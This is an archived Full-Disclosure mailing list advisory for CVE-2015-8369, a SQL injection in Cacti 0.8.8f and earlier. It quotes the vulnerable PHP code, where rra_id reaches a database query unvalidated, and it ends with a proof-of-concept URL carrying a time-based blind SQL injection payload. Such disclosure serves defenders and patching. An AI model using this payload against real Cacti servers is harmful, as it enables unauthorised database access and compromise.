lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Sat, 5 Dec 2015 23:25:25 +0800
From: changzhao.mao <changzhao.mao@...ppsecurity.com.cn>
To: fulldisclosure <fulldisclosure@...lists.org>
Cc: bugtrace <bugtrace@...il.com>, bugtraq <bugtraq@...urityfocus.com>
Subject: [FD] [CVE-2015-8369] Cacti SQL injection in graph.php

Application: Cacti 
Vendor URL: http://www.cacti.net 
Bugs: SQL injection 
Author:changzhao.mao(DBAPPSecurity Ltd) 
Version affected: 0.8.8f and prior

================================
Introduction
================================

  Cacti is a complete frontend to RRDTool, it stores all of the necessary information to create graphs and populate them with data in a MySQL database. The frontend is completely PHP driven. Along with being able to maintain Graphs, Data Sources, and Round Robin Archives in a database, cacti handles the data gathering. There is also SNMP support for those used to creating traffic graphs with MRTG.  SQL  injection vulnerabilities has been discovered.The vulnerability allows any users  to execute own sql commands to compromise the web-applicaation or database management system.The vulnerabilities are located in the rra_id value of the graph.php file.This php file of older version cacti may be accessible anonymously according to the cases I found from the internet. Latest version cacti may require guest user privilege.

[Vulnerability info]

/cacti-0.8.8f/graph.php
line 25  include "./include/top_graph_header.php"  before validating rra_id
/* set default action */
if (!isset($_REQUEST["action"])) { $_REQUEST["action"] = "view"; }
if (!isset($_REQUEST["view_type"])) { $_REQUEST["view_type"] = ""; }

$guest_account = true;
include("./include/auth.php");
include_once("./lib/rrd.php");

api_plugin_hook_function('graph');

include_once("./lib/html_tree.php");
include_once("./include/top_graph_header.php");

/* ================= input validation ================= */
input_validate_input_regex(get_request_var("rra_id"), "^([0-9]+|all)$");
input_validate_input_number(get_request_var("local_graph_id"));
input_validate_input_number(get_request_var("graph_end"));
input_validate_input_number(get_request_var("graph_start"));
input_validate_input_regex(get_request_var_request("view_type"), "^([a-zA-Z0-9]+)$");
/* ==================================================== */




/cacti-0.8.8f/include/top_graph_header.php 
line 30 rra_id is not validated
 
/* ================= input validation ================= */
input_validate_input_number(get_request_var_request("local_graph_id"));
input_validate_input_number(get_request_var_request("graph_start"));
input_validate_input_number(get_request_var_request("graph_end"));
/* ==================================================== */





line 158
    <?php if ((basename($_SERVER["PHP_SELF"]) == "graph.php") && ($_REQUEST["action"] == "properties")) {?>
    <tr>
        <td valign="top" class='cactiTreeNavigationArea' colspan="3">
            <?php
            $graph_data_array["print_source"] = true;

            /* override: graph start time (unix time) */
            if (!empty($_GET["graph_start"])) {
                $graph_data_array["graph_start"] = get_request_var_request("graph_start");
            }

            /* override: graph end time (unix time) */
            if (!empty($_GET["graph_end"])) {
                $graph_data_array["graph_end"] = get_request_var_request("graph_end");
            }

            print trim(@rrdtool_function_graph(get_request_var_request("local_graph_id"), get_request_var_request("rra_id"), $graph_data_array));
            ?>
            



\cacti-0.8.8f\lib\rrd.php function rrdtool_function_graph line 631
        $rra["timespan"] = 86400;
        }else{
            /* get a list of RRAs related to this graph */
            $rras = get_associated_rras($local_graph_id);

            if (sizeof($rras) > 0) {
                foreach ($rras as $unchosen_rra) {
                    /* the timespan specified in the RRA "timespan" field may not be accurate */
                    $real_timespan = ($ds_step * $unchosen_rra["steps"] * $unchosen_rra["rows"]);

                    /* make sure the current start/end times fit within each RRA's timespan */
                    if ( (($graph_data_array["graph_end"] - $graph_data_array["graph_start"]) <= $real_timespan) && ((time() - $graph_data_array["graph_start"]) <= $real_timespan) ) {
                        /* is this RRA better than the already chosen one? */
                        if ((isset($rra)) && ($unchosen_rra["steps"] < $rra["steps"])) {
                            $rra = $unchosen_rra;
                        }else if (!isset($rra)) {
                            $rra = $unchosen_rra;
                        }
                    }
                }
            }

            if (!isset($rra)) {
                $rra["rows"] = 600;
                $rra["steps"] = 1;
            }
        }
    }else{
    // sql injection here 
        $rra = db_fetch_row("select timespan,rows,steps from rra where id=$rra_id");
    }

    
[Exploit]
    poc: http://192.168.x.x/cacti/graph.php?action=properties&local_graph_id=1&rra_id=1%20and%20benchmark(20000000%2csha1(1))--%20&view_type=&graph_start=1448274676&graph_end=1448360776

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists